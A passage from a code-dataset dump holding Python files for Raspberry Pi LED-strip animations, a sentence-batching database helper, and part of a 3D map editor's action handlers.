Color(0,0,0))\n # time.sleep(wait_ms/500000.0)\n\n# Kat Idea 1 functions\ndef katColors(strip, color, start, wait_ms=50):\n for i in range(start, strip.numPixels(), 2):\n strip.setPixelColor(i, color)\n strip.show()\n\ndef twoColors(strip, color, color2, wait_ms=50):\n for i in range(0, strip.numPixels(), 2):\n strip.setPixelColor(i, color)\n for j in range(1, strip.numPixels(), 2):\n strip.setPixelColor(j, color2)\n strip.show()\n time.sleep(wait_ms/10.0)\n\ndef oneColorFlash(strip, color, start, wait_ms=50, iterations=5):\n if (start == 0):\n katColors(strip, Color(0,0,0), start+1)\n katColors(strip, color, start)\n time.sleep(wait_ms/50.0)\n katColors(strip, Color(0,0,0), start)\n time.sleep(wait_ms/50.0)\n if (start == 1):\n katColors(strip, Color(0,0,0), start-1)\n katColors(strip, color, start)\n time.sleep(wait_ms/50.0)\n katColors(strip, Color(0,0,0), start)\n time.sleep(wait_ms/50.0)\n\n# One Light Through & Loop\ndef oneLight(strip, wait_ms=50):\n for j in range(0, strip.numPixels()):\n strip.setPixelColor(j, Color(vars.green, vars.red, vars.blue))\n strip.show()\n strip.setPixelColor(j, Color(0,0,0))\n time.sleep(wait_ms/1000.0)\n\ndef oneLightBack(strip, wait_ms=50):\n for k in reversed(range(0, strip.numPixels())):\n strip.setPixelColor(k, Color(vars.green, vars.red, vars.blue))\n strip.show()\n strip.setPixelColor(k, Color(0,0,0))\n time.sleep(wait_ms/1000.0)\n\n# Meteor functions\ndef meteorRain(strip, green, red, blue, meteorSize, meteorTrailDecay, meteorRandomDecay, wait_ms=50):\n setAll(strip, Color(0,0,0))\n for i in range(strip.numPixels() + (strip.numPixels()/2)):\n # Fade brightness all LEDs one step\n for j in range(strip.numPixels()):\n if ((not meteorRandomDecay) or (randint(0,10) > 5)):\n fadeToBlack(strip, j, meteorTrailDecay)\n # Draw Meteor\n for j in range(meteorSize):\n if ((i-j < strip.numPixels()) and (i-j >= 0)):\n strip.setPixelColor(i-j, Color(green, red, blue))\n strip.show()\n time.sleep(wait_ms/1250.0)\n\ndef fadeToBlack(strip, ledNo, fadeValue):\n oldColor = strip.getPixelColor(ledNo)\n r = (oldColor & 0x00ff0000) >> 16\n g = (oldColor & 0x0000ff00) >> 8\n b = (oldColor & 0x000000ff)\n if (r <= 10):\n r-(r*fadeValue/256)\n else:\n r = 0\n if (g <= 10):\n g-(g*fadeValue/256)\n else:\n g = 0\n if (b <= 10):\n b-(b*fadeValue/256)\n else:\n b = 0\n strip.setPixelColor(ledNo, Color(g,r,b))\n\n# Sparkle function\ndef sparkle(strip, green, red, blue, wait_ms=50):\n pixel = randint(0, strip.numPixels())\n strip.setPixelColor(pixel, Color(green, red, blue))\n strip.show()\n time.sleep(wait_ms/500)\n strip.setPixelColor(pixel, Color(0,0,0))\n\n# Cylon function\ndef cylon(strip, red, green, blue, eyeSize, upRange, downRange, speedDelay=50, returnDelay=50):\n for i in range(downRange, upRange-eyeSize-2):\n #turnOff(strip)\n turnOffPart(strip, downRange, upRange)\n\n strip.setPixelColor(i, Color(green/10, red/10, blue/10))\n for j in range(eyeSize+1):\n strip.setPixelColor(i+j, Color(green, red, blue))\n strip.setPixelColor(i+eyeSize+1, Color(green/10, red/10, blue/10))\n strip.show()\n time.sleep(speedDelay/10000.0)\n time.sleep(returnDelay/5000.0)\n for k in reversed(range(downRange, upRange-eyeSize-2)):\n #turnOff(strip)\n turnOffPart(strip, downRange, upRange)\n\n strip.setPixelColor(k, Color(green/10, red/10, blue/10))\n for m in range(eyeSize+1):\n strip.setPixelColor(k+m, Color(green, red, blue))\n strip.setPixelColor(k+eyeSize+1, Color(green/10, red/10, blue/10))\n strip.show()\n time.sleep(speedDelay/10000.0)\n time.sleep(returnDelay/5000.0)\n\n# Running Lights Function\ndef runningLights(strip):\n position = 0\n for j in range(strip.numPixels() + 20):\n position += 1\n for i in range(strip.numPixels()):\n # Sine wave 3 offset waves make a rainbow\n strip.setPixelColor(i, Color(int(((math.sin(i+position) * 127 + 128)/255)*vars.green), int(((math.sin(i+position) * 127 + 128)/255)*vars.red), int(((math.sin(i+position) * 127 + 128)/255)*vars.blue)))\n strip.show()\n time.sleep(vars.delay/1000.0)\n\n# Turns strip a random color\ndef randomColor(strip):\n setAll(strip, Color(randint(0, 255), randint(0, 255), randint(0, 255)))\n\n# Flashes GRB color on strip\ndef RGBFlash(strip):\n for i in range(3):\n if i == 0:\n setAll(strip, Color(255, 0, 0))\n time.sleep(vars.delay/50.0)\n elif i == 1:\n setAll(strip, Color(0, 255, 0))\n time.sleep(vars.delay/50.0)\n else:\n setAll(strip, Color(0, 0, 255))\n time.sleep(vars.delay/50.0)\n\ndef knockoffCylon(strip, red, green, blue, eyeSize, upRange, downRange, speedDelay=50, returnDelay=50):\n for i in range(downRange, upRange-eyeSize-2):\n strip.setPixelColor(i, Color(green/10, red/10, blue/10))\n for j in range(eyeSize+1):\n strip.setPixelColor(i+j, Color(green, red, blue))\n strip.setPixelColor(i+eyeSize+1, Color(green/10, red/10, blue/10))\n strip.show()\n time.sleep(speedDelay/10000.0)\n time.sleep(returnDelay/5000.0)\n for k in reversed(range(downRange, upRange-eyeSize-2)):\n strip.setPixelColor(k, Color(green/10, red/10, blue/10))\n for m in range(eyeSize+1):\n strip.setPixelColor(k+m, Color(green, red, blue))\n strip.setPixelColor(k+eyeSize+1, Color(green/10, red/10, blue/10))\n strip.show()\n time.sleep(speedDelay/10000.0)\n time.sleep(returnDelay/5000.0)\n\ndef redWave(strip, wait_ms=20, iterations=1):\n for i in range(256*iterations):\n for j in range(strip.numPixels()):\n strip.setPixelColor(j, redYellowWheel((i + j) & 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef redYellowWheel(pos):\n \"\"\"Generate Red and Yellow colors across 0-255 positions.\"\"\"\n if pos < 85:\n return Color(70-(pos-15), 255 - pos * 3, 0) #Yellow\n elif pos < 170:\n pos -= 85\n return Color(0, 255 - pos * 3, 0) #Red\n else:\n pos -= 170\n return Color((255-pos*3)/5, 255-pos*3, 0) #Orange\n\ndef christmas1(strip):\n for i in range(0, strip.numPixels(), 20):\n j = i\n while j < (i+10):\n strip.setPixelColor(j, Color(200, 0, 0))\n j+=1\n while j >= (i+10) and j < (i+20):\n strip.setPixelColor(j, Color(0, 200, 0))\n j+=1\n strip.show()\n\ndef randTwinkle(strip):\n green = [255, 0, 0, 125, 210, 0, 0, 150, 220, 0, 0, 0]\n red = [0, 255, 0, 255, 250, 250, 150, 0, 0, 0, 0, 0]\n blue = [0, 0, 255, 0, 0, 150, 150, 200, 150, 0, 0, 0]\n rands = [0] * strip.numPixels()\n currentgreen = [0] * strip.numPixels()\n currentred = [0] * strip.numPixels()\n currentblue = [0] * strip.numPixels()\n for k in range(strip.numPixels()):\n rands[k] = randint(0,11)\n strip.setPixelColor(k, Color(green[rands[k]], red[rands[k]], blue[rands[k]]))\n currentgreen[k] = green[rands[k]]\n currentred[k] = red[rands[k]]\n currentblue[k] = blue[rands[k]]\n strip.show()\n for j in range(strip.numPixels()):\n for i in range(strip.numPixels()):\n if currentgreen[i] < green[rands[i]]:\n currentgreen[i] += 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if currentred[i] < red[rands[i]]:\n currentred[i] += 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if currentblue[i] < blue[rands[i]]:\n currentblue[i] += 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if currentgreen[i] == green[rands[i]] and currentred[i] == red[rands[i]] and currentblue[i] == blue[rands[i]]:\n if green[rands[i]] != 0:\n currentgreen[i] -= 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if red[rands[i]] != 0:\n currentred[i] -= 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if blue[rands[i]] != 0:\n currentblue[i] -= 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n\n strip.show()\n\ndef eachRandom(strip):\n \"\"\"Set each pixel in the strip to a rand color\"\"\"\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i, Color(randint(0,255), randint(0,255), randint(0,255)))\n strip.show()\n\n# Strobe function\ndef strobe(strip):\n setAll(strip, Color(vars.green, vars.red, vars.blue))\n time.sleep(vars.delay/75.0)\n setAll(strip, Color(0,0,0))\n time.sleep(vars.delay/75.0)\n\ndef pulse(strip):\n for i in range(10, 255):\n strip.setBrightness(i)\n strip.show()\n time.sleep(vars.delay/5000.0)\n for j in reversed(range(10, 255)):\n strip.setBrightness(j)\n strip.show()\n time.sleep(vars.delay/5000.0)\n\ndef sineTwinkle(strip):\n green = [0] * strip.numPixels()\n red = [0] * strip.numPixels()\n blue = [0] * strip.numPixels()\n for j in range(strip.numPixels()):\n green[j] = randint(0,255)\n red[j] = randint(0,255)\n blue[j] = randint(0,255)\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, Color(int(((math.sin(i) * 127 + 128)/255)*green[i]), int(((math.sin(i) * 127 + 128)/255)*red[i]), int(((math.sin(i) * 127 + 128)/255)*blue[i])))\n strip.show()\n time.sleep(vars.delay/150.0)\n\n\n#HAVE: StrandTest, SadKat1, FourthChase\n# Fire, Off, Twinkle, katIdea1, oneLightLoop, oneLightThru\n# rainbow, meteor, sparkle, americanDad\n","repo_name":"jomens235/RPI_Lights","sub_path":"sequences.py","file_name":"sequences.py","file_ext":"py","file_size_in_byte":16623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7342026127","text":"from repo import insert\n\nclass SentenceStore:\n \"\"\" the tool class to index sentences && to save to db when the storing cache reaches maximum\"\"\"\n def __init__(self, corpus_id):\n self.corpus_id = corpus_id\n self.sentence_cache = {}\n self.current_doc_id = 0\n self.sentence_index = 0\n self.counter = 0\n self.max_cache = 20\n\n def push(self, sentence):\n self.sentence_cache[str(self.sentence_index)] = sentence\n self.sentence_index = self.sentence_index + 1\n self.counter = self.counter + 1\n if self.counter == self.max_cache:\n insert_doc = {}\n insert_doc[\"_id\"] = self.corpus_id + '#' + str(self.current_doc_id)\n insert_doc[\"max_index\"] = self.sentence_index - 1\n insert_doc[\"content\"] = self.sentence_cache\n # insert to db\n insert(\"raw_sentences\", insert_doc)\n # update the param\n self.current_doc_id = self.current_doc_id + 1\n self.sentence_cache = {}\n self.counter = 0\n\n\n def get_current_sentence_index(self):\n return self.sentence_index - 1\n\n\n def close(self):\n if len(self.sentence_cache.keys()) > 0:\n insert_doc = {}\n insert_doc[\"_id\"] = self.corpus_id + '#' + str(self.current_doc_id)\n insert_doc[\"max_index\"] = self.sentence_index - 1\n insert_doc[\"content\"] = self.sentence_cache\n # insert to db\n insert(\"raw_sentences\", insert_doc)\n\n print(\"[INFO] the sentence store has been closed.\")\n","repo_name":"Tann-chen/nlp-theme-mining","sub_path":"model/sentence_store.py","file_name":"sentence_store.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"22234366375","text":"__author__ = \"jacobvanthoog\"\n\nimport math\n\nfrom threelib.edit.state import *\nfrom threelib.vectorMath import Vector\nfrom threelib.vectorMath import Rotate\nimport threelib.vectorMath as vectorMath\nfrom threelib.edit.objects import *\nfrom threelib.edit.adjust import *\nfrom threelib.materials import MaterialReference\nfrom threelib.edit.modelFile.load import loadModel\n\nfrom threelib import files\n\nclass EditorActions:\n\n X = 0\n Y = 1\n Z = 2\n\n DIFFERENT_PROPERTIES_STRING = \"!DIFFERENT!\"\n\n ROTATE_GRID_SIZES = [5.0, 10.0, 15.0, 20.0, 30.0, 40.0, 45.0]\n\n def __init__(self, mapPath, state=None):\n if state is None:\n self.state = EditorState()\n else:\n self.state = state\n self.mapPath = mapPath\n\n self.movingCamera = False\n self.lookSpeed = .005\n self.flySpeed = 128.0\n self.fly = Vector(0, 0, 0) # each component can be 0, 1, or -1\n\n # clip arrow\n self.arrowShown = False\n self.arrowStart = Vector(0, 0, 0)\n self.arrowEnd = Vector(0, 0, 0)\n\n # adjust mode\n self.inAdjustMode = False\n self.adjustor = None\n self.adjustorOriginalValue = (0.0, 0.0, 0.0)\n self.selectedAxes = (EditorActions.X, EditorActions.Y)\n self.adjustMouseMovement = (0, 0) # in snap mode\n self.adjustMouseGrid = 64 # number of pixels per grid line\n self.adjustCompleteAction = None # function that is run after completion\n\n # flags\n self.selectAtCursorOnDraw = False\n self.selectMultiple = False\n self.selectBehindSelection = False\n\n\n def escape(self):\n self.movingCamera = False\n self.fly = Vector(0, 0, 0)\n self.editorMain.unlockMouse()\n if self.inAdjustMode:\n self.adjustor.setAxes(self.adjustorOriginalValue)\n self.adjustor.cancel()\n self.inAdjustMode = False\n self.adjustor = None\n\n def saveFile(self):\n print(\"Saving map... \", end=\"\")\n files.saveMapState(self.mapPath, self.state)\n print(\"Done\")\n\n def editPropertiesOfSelected(self):\n if not self.state.selectMode == EditorState.SELECT_OBJECTS:\n print(\"Only objects have properties\")\n elif len(self.state.selectedObjects) == 0:\n print(\"Edit world properties\")\n props = self.state.worldObject.getProperties()\n self.makePropsFile(props)\n else:\n print(\"Edit object properties\")\n combinedProps = { }\n for o in self.state.selectedObjects:\n for key, value in o.getProperties().items():\n if key not in combinedProps:\n combinedProps[key] = value\n elif combinedProps[key] != value:\n combinedProps[key] = \\\n EditorActions.DIFFERENT_PROPERTIES_STRING\n self.makePropsFile(combinedProps)\n\n def makePropsFile(self, props):\n text = \"\"\n for key, value in sorted(props.items()):\n multiLine = '\\n' in value\n if multiLine:\n text += key + \":\\n\" + value + \"\\n~~~\\n\"\n else:\n text += key + \"=\" + value + \"\\n\"\n files.openProperties(text)\n\n def updateSelected(self):\n if not self.state.selectMode == EditorState.SELECT_OBJECTS:\n print(\"Only objects can be updated\")\n elif len(self.state.selectedObjects) == 0:\n print(\"Update world properties\")\n props = self.readPropsFile()\n if props is not None:\n self.state.worldObject.setProperties(props)\n else:\n print(\"Update object properties\")\n props = self.readPropsFile()\n if props is not None:\n differentKeys = [ ]\n for key, value in props.items():\n if value == EditorActions.DIFFERENT_PROPERTIES_STRING:\n differentKeys.append(key)\n for key in differentKeys:\n del props[key]\n for o in self.state.selectedObjects:\n o.setProperties(props)\n\n def readPropsFile(self):\n text = files.readProperties()\n props = { }\n inMultiLine = False\n multiLineKey = \"\"\n multiLineValue = \"\"\n for line in text.splitlines():\n if not inMultiLine:\n line = line.strip()\n if line == '':\n pass\n elif '=' in line:\n splitPoint = line.index('=')\n key = line[:splitPoint]\n value = line[splitPoint+1:]\n props[key] = value\n elif line.endswith(':'):\n inMultiLine = True\n multiLineKey = line[:-1]\n multiLineValue = \"\"\n else:\n print(\"Could not parse line:\")\n print(line)\n print(\"Stopping\")\n return\n else: # in multi line\n if line == \"~~~\":\n if len(multiLineValue) > 0:\n # delete the last line break\n multiLineValue = multiLineValue[:-1]\n inMultiLine = False\n props[multiLineKey] = multiLineValue\n else:\n multiLineValue += line + \"\\n\"\n if inMultiLine:\n print(\"Unclosed multi-line value!\")\n print(\"Stopping\")\n return None\n return props\n\n def deleteSelected(self):\n if not self.state.selectMode == EditorState.SELECT_OBJECTS:\n print(\"Only objects can be deleted\")\n elif len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n else:\n print(\"Delete object(s)\")\n for o in self.state.selectedObjects:\n o.removeFromParent()\n self.state.objects.remove(o)\n if o.getMesh() is not None:\n o.getMesh().removeMaterials()\n self.state.deselectAll()\n self.state.world.removeUnusedMaterials()\n\n def duplicateSelected(self):\n if not self.state.selectMode == EditorState.SELECT_OBJECTS:\n print(\"Only objects can be duplicated\")\n elif len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n else:\n print(\"Duplicate object(s)\")\n clones = [ ]\n for o in self.state.selectedObjects:\n clone = o.clone()\n clones.append(clone)\n self.state.objects.append(clone)\n self.state.deselectAll()\n for clone in clones:\n self.state.select(clone)\n\n self.translateSelected()\n\n\n def selectMode(self, mode):\n prevMode = self.state.selectMode\n self.state.selectMode = mode\n\n if prevMode == mode:\n pass\n elif prevMode == EditorState.SELECT_OBJECTS \\\n and mode == EditorState.SELECT_FACES:\n self.state.selectedFaces = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n for f in o.getMesh().getFaces():\n self.state.selectedFaces.append(\n FaceSelection(o, f))\n self.state.deselectAll()\n self.state.selectedVertices = [ ]\n elif prevMode == EditorState.SELECT_OBJECTS \\\n and mode == EditorState.SELECT_VERTICES:\n self.state.selectedVertices = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n for v in o.getMesh().getVertices():\n self.state.selectedVertices.append(\n VertexSelection(o, v))\n self.state.deselectAll()\n self.state.selectedFaces = [ ]\n elif prevMode == EditorState.SELECT_FACES \\\n and mode == EditorState.SELECT_OBJECTS:\n self.state.deselectAll()\n for f in self.state.selectedFaces:\n if f.editorObject not in self.state.selectedObjects:\n self.state.select(f.editorObject)\n self.state.selectedFaces = [ ]\n self.state.selectedVertices = [ ]\n elif prevMode == EditorState.SELECT_FACES \\\n and mode == EditorState.SELECT_VERTICES:\n self.state.selectedVertices = [ ]\n selectedVertices = [ ]\n for f in self.state.selectedFaces:\n for v in f.face.getVertices():\n if v.vertex not in selectedVertices:\n self.state.selectedVertices.append(\n VertexSelection(f.editorObject, v.vertex))\n selectedVertices.append(v.vertex)\n self.state.selectedFaces = [ ]\n self.state.deselectAll()\n elif prevMode == EditorState.SELECT_VERTICES \\\n and mode == EditorState.SELECT_OBJECTS:\n self.state.deselectAll()\n for v in self.state.selectedVertices:\n if v.editorObject not in self.state.selectedObjects:\n self.state.select(v.editorObject)\n self.state.selectedVertices = [ ]\n self.state.selectedFaces = [ ]\n else: # including vertices -> faces\n self.state.deselectAll()\n self.state.selectedVertices = [ ]\n self.state.selectedFaces = [ ]\n\n\n def createBox(self):\n print(\"Create box\")\n box = SolidMeshObject(self.state.translateGridSize)\n self.createObject(box)\n\n def createPoint(self):\n print(\"Create point\")\n point = ScriptPointObject()\n self.createObject(point)\n\n def createDirectionalLight(self):\n print(\"Create directional light\")\n light = DirectionalLightObject()\n self.createObject(light)\n\n def createPositionalLight(self):\n print(\"Create positional light\")\n light = PositionalLightObject()\n self.createObject(light)\n\n def createSpotLight(self):\n print(\"Create spot light\")\n light = SpotLightObject()\n self.createObject(light)\n\n def importMesh(self, name):\n print(\"Import mesh\", name)\n meshPath = files.getMesh(name)\n if meshPath is None:\n print(\"Could not find mesh\", name)\n return\n mesh = loadModel(meshPath)\n if mesh is None:\n print(\"Could not load mesh\", name)\n return\n\n newMaterials = [ ]\n for face in mesh.getFaces():\n mat = face.getMaterial()\n if not mat in newMaterials:\n newMaterials.append(mat)\n if not mat in self.state.world.materials:\n foundMaterial = self.state.world.findMaterial(mat.getName())\n if foundMaterial is not None:\n face.setMaterial(foundMaterial)\n else:\n self.state.world.addMaterial(mat)\n print(len(newMaterials), \"materials for this mesh:\")\n for mat in newMaterials:\n print(mat.getName())\n\n solidMesh = SolidMeshObject()\n solidMesh.setMesh(mesh)\n self.createObject(solidMesh)\n\n\n def importMap(self, name):\n print(\"Import map\", name)\n mapPath = files.getMap(name, createIfNotFound=False)\n if mapPath is None:\n print(\"Could not find map\", name)\n map = files.loadMapState(mapPath)\n if map is None:\n print(\"Could not load map\", name)\n return\n\n for o in map.objects:\n if o.getMesh() is None:\n continue\n for face in o.getMesh().getFaces():\n mat = face.getMaterial()\n if not mat in self.state.world.materials:\n foundMaterial = self.state.world.findMaterial(mat.getName())\n if foundMaterial is not None:\n face.setMaterial(foundMaterial)\n else:\n self.state.world.addMaterial(mat)\n\n self.createObjects(map.objects)\n\n\n def createObject(self, newObject):\n self.createObjects([newObject], keepPositionOffset=False)\n\n def createObjects(self, newObjects, keepPositionOffset=True):\n if len(newObjects) == 0:\n return\n\n self.selectMode(EditorState.SELECT_OBJECTS)\n self.state.deselectAll()\n if keepPositionOffset:\n for o in newObjects:\n o.setPosition(o.getPosition() + self.state.createPosition)\n else:\n for o in newObjects:\n o.setPosition(self.state.createPosition)\n self.state.objects += newObjects\n for o in newObjects:\n self.state.select(o)\n if len(newObjects) == 1:\n self.setupAdjustMode(TranslateAdjustor(newObjects[0]))\n else:\n adjustors = [TranslateAdjustor(o) for o in newObjects]\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n\n def setCreatePosition():\n self.state.createPosition = \\\n Vector.fromTuple(self.adjustor.getAxes())\n self.adjustCompleteAction = setCreatePosition\n\n def setParent(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) > 1:\n print(\"Set parent for\", len(self.state.selectedObjects) - 1,\n \"objects\")\n parent = self.state.selectedObjects[-1]\n for child in self.state.selectedObjects[:-1]:\n parent.addChild(child)\n else:\n print(\"At least 2 objects must be selected\")\n\n def clearParent(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) > 0:\n print(\"Clear parent for\", len(self.state.selectedObjects),\n \"objects\")\n for child in self.state.selectedObjects:\n child.removeFromParent()\n else:\n print(\"Objects must be selected\")\n\n def selectParent(self, addToSelection=False):\n if self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) > 0:\n objectsToSelect = [ ]\n for o in self.state.selectedObjects:\n if o.getParent() is not None:\n if not o.getParent() in objectsToSelect:\n objectsToSelect.append(o.getParent())\n if len(objectsToSelect) == 0:\n print(\"Objects have no parent\")\n return\n if not addToSelection:\n self.state.deselectAll()\n for o in objectsToSelect:\n self.state.select(o)\n else:\n print(\"Objects must be selected\")\n\n def selectChildren(self, addToSelection=False):\n if self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) > 0:\n objectsToSelect = [ ]\n for o in self.state.selectedObjects:\n for child in o.getChildren():\n if not child in objectsToSelect:\n objectsToSelect.append(child)\n if len(objectsToSelect) == 0:\n print(\"Objects have no children\")\n return\n if not addToSelection:\n self.state.deselectAll()\n for o in objectsToSelect:\n self.state.select(o)\n else:\n print(\"Objects must be selected\")\n\n\n def selectAll(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n self.state.selectAll()\n else:\n self.state.deselectAll()\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n for o in self.state.objects:\n if o.getMesh() is not None:\n for f in o.getMesh().getFaces():\n self.state.selectedFaces.append(\n FaceSelection(o, f))\n else:\n self.state.selectedFaces = [ ]\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n if len(self.state.selectedVertices) == 0:\n for o in self.state.objects:\n if o.getMesh() is not None:\n for v in o.getMesh().getVertices():\n self.state.selectedVertices.append(\n VertexSelection(o, v))\n else:\n self.state.selectedVertices = [ ]\n\n def translateSelected(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n return\n elif len(self.state.selectedObjects) == 1:\n self.setupAdjustMode(TranslateAdjustor(\n self.state.selectedObjects[0]))\n else:\n adjustors = [ ]\n for o in self.state.selectedObjects:\n adjustors.append(TranslateAdjustor(o))\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n if len(self.state.selectedVertices) == 0:\n print(\"Nothing selected\")\n return\n elif len(self.state.selectedVertices) == 1:\n selected = self.state.selectedVertices[0]\n self.setupAdjustMode(VertexTranslateAdjustor(\n selected.vertex,\n selected.editorObject))\n else:\n adjustors = [ ]\n for v in self.state.selectedVertices:\n adjustors.append(VertexTranslateAdjustor(\n v.vertex,\n v.editorObject))\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n return\n else:\n adjustors = [ ]\n for f in self.state.selectedFaces:\n for v in f.face.getVertices():\n adjustors.append(VertexTranslateAdjustor(\n v.vertex,\n f.editorObject))\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n\n def setCreatePosition():\n self.state.createPosition = \\\n Vector.fromTuple(self.adjustor.getAxes())\n self.adjustCompleteAction = setCreatePosition\n\n\n def adjustOriginOfSelected(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n return\n elif len(self.state.selectedObjects) == 1:\n self.setupAdjustMode(OriginAdjustor(\n self.state.selectedObjects[0]))\n else:\n adjustors = [ ]\n for o in self.state.selectedObjects:\n adjustors.append(OriginAdjustor(o))\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n\n def setCreatePosition():\n self.state.createPosition = \\\n Vector.fromTuple(self.adjustor.getAxes())\n self.adjustCompleteAction = setCreatePosition\n else:\n print(\"Only objects have origins\")\n\n\n def rotateSelected(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedObjects) == 1:\n self.setupAdjustMode(RotateAdjustor(\n self.state.selectedObjects[0]))\n else:\n translators = [ ]\n rotators = [ ]\n for o in self.state.selectedObjects:\n translators.append(TranslateAdjustor(o))\n rotators.append(RotateAdjustor(o))\n self.setupAdjustMode(MultiRotateAdjustor(translators, rotators))\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n if len(self.state.selectedVertices) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedVertices) == 1:\n print(\"Single vertex cannot be rotated\")\n else:\n translators = [ ]\n rotators = [ ]\n for v in self.state.selectedVertices:\n translators.append(VertexTranslateAdjustor(\n v.vertex,\n v.editorObject))\n rotators.append(NoOpAdjustor(Adjustor.ROTATE))\n self.setupAdjustMode(MultiRotateAdjustor(translators, rotators))\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n else:\n translators = [ ]\n rotators = [ ]\n for f in self.state.selectedFaces:\n for v in f.face.getVertices():\n translators.append(VertexTranslateAdjustor(\n v.vertex,\n f.editorObject))\n rotators.append(NoOpAdjustor(Adjustor.ROTATE))\n self.setupAdjustMode(MultiRotateAdjustor(translators, rotators))\n\n # see ScaleAdjustor for description of edges and resize value\n def scaleSelected(self, edges, resize=False):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedObjects) == 1 \\\n and edges[0] == 0 and edges[1] == 0 and edges[2] == 0:\n # single ScaleAdjustor can't handle scaling from edges\n # but it doesn't move the origin while scaling\n if self.state.selectedObjects[0].getMesh() is None:\n print(\"Cannot scale a point\")\n return\n self.setupAdjustMode(ScaleAdjustor(\n self.state.selectedObjects[0], resize))\n else:\n self.setupAdjustMode(MultiScaleAdjustor(\n self.state.selectedObjects, edges, resize))\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n if len(self.state.selectedVertices) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedVertices) == 1:\n print(\"Single vertex cannot be \"\n + \"resized\" if resize else \"scaled\")\n else:\n vertices = [ ]\n for v in self.state.selectedVertices:\n vertices.append(v.vertex)\n self.setupAdjustMode(MultiVertexScaleAdjustor(vertices, edges,\n resize))\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n else:\n vertices = [ ]\n for f in self.state.selectedFaces:\n for v in f.face.getVertices():\n vertices.append(v.vertex)\n self.setupAdjustMode(MultiVertexScaleAdjustor(vertices, edges,\n resize))\n\n def extrude(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n else:\n adjustors = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n for face in o.getMesh().getFaces():\n adjustors.append(ExtrudeAdjustor(\n face, o, self.state))\n\n self.setupAdjustMode(MultiExtrudeAdjustor(adjustors))\n\n def deleteHollowedObjects():\n for o in self.state.selectedObjects:\n o.removeFromParent()\n self.state.objects.remove(o)\n if o.getMesh() is not None:\n o.getMesh().removeMaterials()\n self.state.deselectAll()\n self.state.world.removeUnusedMaterials()\n self.adjustCompleteAction = deleteHollowedObjects\n\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n print(\"Faces or objects must be selected to extrude\")\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedFaces) == 1:\n self.setupAdjustMode(ExtrudeAdjustor(\n self.state.selectedFaces[0].face,\n self.state.selectedFaces[0].editorObject,\n self.state))\n else:\n adjustors = [ ]\n for face in self.state.selectedFaces:\n adjustors.append(ExtrudeAdjustor(\n face.face,\n face.editorObject,\n self.state))\n self.setupAdjustMode(MultiExtrudeAdjustor(adjustors))\n\n\n def setupAdjustMode(self, adjustor):\n self.inAdjustMode = True\n self.adjustor = adjustor\n self.adjustorOriginalValue = adjustor.getAxes()\n self.adjustMouseMovement = (0, 0)\n self.adjustCompleteAction = None\n self.editorMain.lockMouse()\n\n def setupArrowAction(self, action):\n self.arrowStart = self.state.createPosition\n self.arrowEnd = self.arrowStart\n self.arrowShown = True\n self.setupAdjustMode(ArrowStartAdjustor(self))\n\n def arrowStartSet():\n self.arrowEnd = self.arrowStart\n self.setupAdjustMode(ArrowEndAdjustor(self))\n\n def arrowEndSet():\n self.arrowShown = False\n self.state.createPosition = 